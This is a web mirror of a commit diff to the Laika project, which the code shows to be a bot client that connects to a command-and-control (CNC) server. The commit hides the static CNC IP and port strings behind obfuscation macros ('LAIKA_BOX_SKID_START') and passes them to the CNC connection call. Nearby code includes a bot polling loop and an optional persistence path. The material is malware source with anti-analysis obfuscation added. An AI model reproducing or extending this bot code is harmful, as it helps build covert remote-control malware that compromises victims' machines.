mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-28 12:47:35 +00:00
VMBoxGen refactor, obfuscate static CNC ip & port strings
- VMBoxGen is built before shared lib - VMBoxGen has no reliance on the shared lib, just the config file - main config was moved to the root cmakelists
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
@@ -12,6 +13,10 @@
|
||||
#else
|
||||
int main() {
|
||||
#endif
|
||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
|
||||
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
|
||||
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
|
||||
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
|
||||
struct sLaika_bot *bot;
|
||||
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
@@ -25,7 +30,7 @@
|
||||
|
||||
LAIKA_TRY
|
||||
/* connect to test CNC */
|
||||
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||
laikaB_connectToCNC(bot, cncIP, cncPORT);
|
||||
|
||||
/* while connection is still alive, poll bot */
|
||||
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||
@@ -46,5 +51,6 @@
|
||||
laikaB_unmarkRunning();
|
||||
#endif
|
||||
|
||||
/* vm boxes are left opened */
|
||||
return 0;
|
||||
}
|
Reference in New Issue
Block a user